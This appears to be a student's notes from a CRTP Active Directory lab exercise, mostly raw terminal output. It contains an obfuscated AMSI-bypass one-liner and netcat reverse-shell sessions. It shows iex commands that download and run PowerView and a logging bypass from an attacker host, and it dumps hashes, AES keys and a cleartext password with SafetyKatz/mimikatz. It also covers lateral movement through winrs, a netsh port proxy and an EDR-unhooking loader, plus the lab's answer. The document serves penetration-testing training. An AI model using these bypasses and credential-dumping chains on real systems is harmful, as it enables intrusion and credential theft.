crtp-07

S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

.

C:\Users\student98>C:\AD\Tools\netcat-win32-1.12\nc64.exe -lvp 1339
listening on [any] 1339 ...
172.16.3.11: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.16.100.98] from (UNKNOWN) [172.16.3.11] 51120: NO_DATA
Windows PowerShell running as user ciadmin on DCORP-CI
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins\workspace\Project0>whoami
dcorp\ciadmin
PS C:\Users\Administrator\.jenkins\workspace\Project0> hostname
dcorp-ci
PS C:\Users\Administrator\.jenkins\workspace\Project0> iex (iwr http://172.16.100.98/sbloggingbypass.txt -UseBasicParsing)
PS C:\Users\Administrator\.jenkins\workspace\Project0> iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.98/PowerView.ps1'))
This script contains malicious content and has been blocked by your antivirus software.

PS C:\Users\Administrator\.jenkins\workspace\Project0> S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
PS C:\Users\Administrator\.jenkins\workspace\Project0> iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.98/PowerView.ps1'))
PS C:\Users\Administrator\.jenkins\workspace\Project0> Find-DomainUserLocation


UserDomain      : DCORP-CI
UserName        : Administrator
ComputerName    : dcorp-ci.dollarcorp.moneycorp.local
IPAddress       : 172.16.3.11
SessionFrom     :
SessionFromName :
LocalAdmin      :

UserDomain      : dcorp
UserName        : svcadmin
ComputerName    : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress       : 172.16.4.44
SessionFrom     :
SessionFromName :
LocalAdmin      :


PS C:\Users\Administrator\.jenkins\workspace\Project0> curl http://172.16.100.98/Safetykatz.exe -outfile safetykatz.exe
PS C:\Users\Administrator\.jenkins\workspace\Project0> ./SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
 
mimikatz(commandline) # sekurlsa::evasive-keys

Authentication Id : 0 ; 145845 (00000000:000239b5)
Session           : Service from 0
User Name         : ciadmin
Domain            : dcorp
Logon Server      : DCORP-DC
Logon Time        : 1/16/2025 8:08:34 AM
SID               : S-1-5-21-719815819-3726368948-3917688648-1121

         * Username : ciadmin
         * Domain   : DOLLARCORP.MONEYCORP.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       1bbe86f1b5285109dd1450b55ed8851c220b81cc187f9af64e4048ed25083879
           rc4_hmac_nt       e08253add90dccf1a208523d02998c3d
           rc4_hmac_old      e08253add90dccf1a208523d02998c3d
           rc4_md4           e08253add90dccf1a208523d02998c3d
           rc4_hmac_nt_exp   e08253add90dccf1a208523d02998c3d
           rc4_hmac_old_exp  e08253add90dccf1a208523d02998c3d


         * Username : DCORP-CI$
         * Domain   : dollarcorp.moneycorp.local
         * Password : @F:+=*EYhPRTjtoE+O4`\xRWa='+HUtXK1bGwnwLSI2?1f\=+2$v8@ZDT;[)lQ8c%n$=4y\=< uOd#_>J3cl0a0e_^GXUC!h.7@Rq,3gV3S!mXY]i +Jy^/^
         * Key List :
           aes256_hmac       3a60c14ae445feaa471f6e691f47ba9a5a6d51d664bb781bdfc6f38305ae8bc2
           rc4_md4           cd7bf0ddeb1c2d54e11176289271911b
           


mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator\.jenkins\workspace\Project0> ./SafetyKatz.exe -args "sekurlsa::evasive-msv" "exit"

mimikatz(commandline) # sekurlsa::evasive-msv

Authentication Id : 0 ; 2247816 (00000000:00224c88)
Session           : Interactive from 0
User Name         : Administrator
Domain            : DCORP-CI
Logon Server      : DCORP-CI
Logon Time        : 12/16/2025 9:01:03 PM
SID               : S-1-5-21-1267445589-2337261693-4289943052-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : DCORP-CI
         * NTLM     : deaa870c264c682aa1fbfc31ebe678a2
         * SHA1     : 1be2e076d5db2e7d91cefe78571e0c8c07fdc9a4
         * DPAPI    : 1be2e076d5db2e7d91cefe78571e0c8c

Authentication Id : 0 ; 145845 (00000000:000239b5)
Session           : Service from 0
User Name         : ciadmin
Domain            : dcorp
Logon Server      : DCORP-DC
Logon Time        : 1/16/2025 8:08:34 AM
SID               : S-1-5-21-719815819-3726368948-3917688648-1121
        msv :
         [00000003] Primary
         * Username : ciadmin
         * Domain   : dcorp
         * NTLM     : e08253add90dccf1a208523d02998c3d
         * SHA1     : f668208e94aec0980d3fd18044e3e64908fe9b03
         * DPAPI    : 6d0c10cc59972f288e11b5621508b6fe

<snip>
        msv :

mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator\.jenkins\workspace\Project0>

.

Next

Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.

C:\Users\student98>C:\AD\Tools\netcat-win32-1.12\nc64.exe -lvp 1339
listening on [any] 1339 ...
172.16.3.11: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.16.100.98] from (UNKNOWN) [172.16.3.11] 50723: NO_DATA
Windows PowerShell running as user ciadmin on DCORP-CI
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins\workspace\Project1>$env:computername
DCORP-CI

PS C:\Users\Administrator\.jenkins\workspace\Project1> iex (iwr http://172.16.100.98/sbloggingbypass.txt -UseBasicParsing)


preventing - This script contains malicious content and has been blocked by your antivirus software.


PS C:\Users\Administrator\.jenkins\workspace\Project1> S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
PS C:\Users\Administrator\.jenkins\workspace\Project1> iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.98/PowerView.ps1'))
PS C:\Users\Administrator\.jenkins\workspace\Project1> Find-DomainUserLocation


UserDomain      : DCORP-CI
UserName        : Administrator
ComputerName    : dcorp-ci.dollarcorp.moneycorp.local
IPAddress       : 172.16.3.11
SessionFrom     :
SessionFromName :
LocalAdmin      :


UserDomain      : DCORP-CI
UserName        : Administrator
ComputerName    : dcorp-ci.dollarcorp.moneycorp.local
IPAddress       : 172.16.3.11
SessionFrom     :
SessionFromName :
LocalAdmin      :


UserDomain      : dcorp
UserName        : svcadmin
ComputerName    : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress       : 172.16.4.44
SessionFrom     :
SessionFromName :
LocalAdmin      :



PS C:\Users\Administrator\.jenkins\workspace\Project1>  winrs -r:dcorp-mgmt cmd /c "set computername && set username"
COMPUTERNAME=DCORP-MGMT
USERNAME=ciadmin
PS C:\Users\Administrator\.jenkins\workspace\Project1> iwr http://172.16.100.98/Loader.exe -OutFile C:\Users\Public\Loader.exe
PS C:\Users\Administrator\.jenkins\workspace\Project1> echo F | xcopy C:\Users\Public\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe
Does \\dcorp-mgmt\C$\Users\Public\Loader.exe specify a file name
or directory name on the target
(F = file, D = directory)? F
C:\Users\Public\Loader.exe
1 File(s) copied
PS C:\Users\Administrator\.jenkins\workspace\Project1> $null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.98"

PS C:\Users\Administrator\.jenkins\workspace\Project1> $null | winrs -r:dcorp-mgmt "cmd /c C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit"
[+] Successfully unhooked ETW!
[+++] NTDLL.DLL IS UNHOOKED!
[+++] KERNEL32.DLL IS UNHOOKED!
[+++] KERNELBASE.DLL IS UNHOOKED!
[+++] ADVAPI32.DLL IS UNHOOKED!
[+] URL/PATH : http://127.0.0.1:8080/SafetyKatz.exe Arguments :

  .#####.   mimikatz 2.2.0 (x64) #19041 Nov  5 2024 21:52:02
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/


mimikatz(commandline) # http://127.0.0.1:8080/SafetyKatz.exe

mimikatz(commandline) # sekurlsa::evasive-keys

         
Authentication Id : 0 ; 144109 (00000000:000232ed)
Session           : Service from 0
User Name         : svcadmin
Domain            : dcorp
Logon Server      : DCORP-DC
Logon Time        : 1/16/2025 9:09:12 AM
SID               : S-1-5-21-719815819-3726368948-3917688648-1118

         * Username : svcadmin
         * Domain   : DOLLARCORP.MONEYCORP.LOCAL
         * Password : *ThisisBlasphemyThisisMadness!!
         * Key List :
           aes256_hmac       6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
           aes128_hmac       8c0a8695795df6c9a85c4fb588ad6cbd
           rc4_hmac_nt       b38ff50264b74508085d82c69794a4d8
           

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DCORP-MGMT$
Domain            : dcorp
Logon Server      : (null)
Logon Time        : 1/16/2025 9:08:57 AM
SID               : S-1-5-20

         * Username : dcorp-mgmt$
         * Domain   : DOLLARCORP.MONEYCORP.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b607d794f87ca117a14353da0dbb6f27bbe9fed4f1ce1b810b43fbb9a2eab192
           rc4_hmac_nt       0878da540f45b31b974f73312c18e754
           
<snip>

mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator\.jenkins\workspace\Project1>

.

Things To Note Down

•  aes256_hmac is Mostly used for OverPass-The-Hash attack
•  NTLM Hash is called rc4_hmac_nt
•  To solve the question Process using svcadmin as service account -:
  • You have to winrs into dcorp-mgmt after getting user svcadmin
  • Then run tasklist /svc to view processes
  • You should see sqlsevr.exe, The answer is definitely sqlserver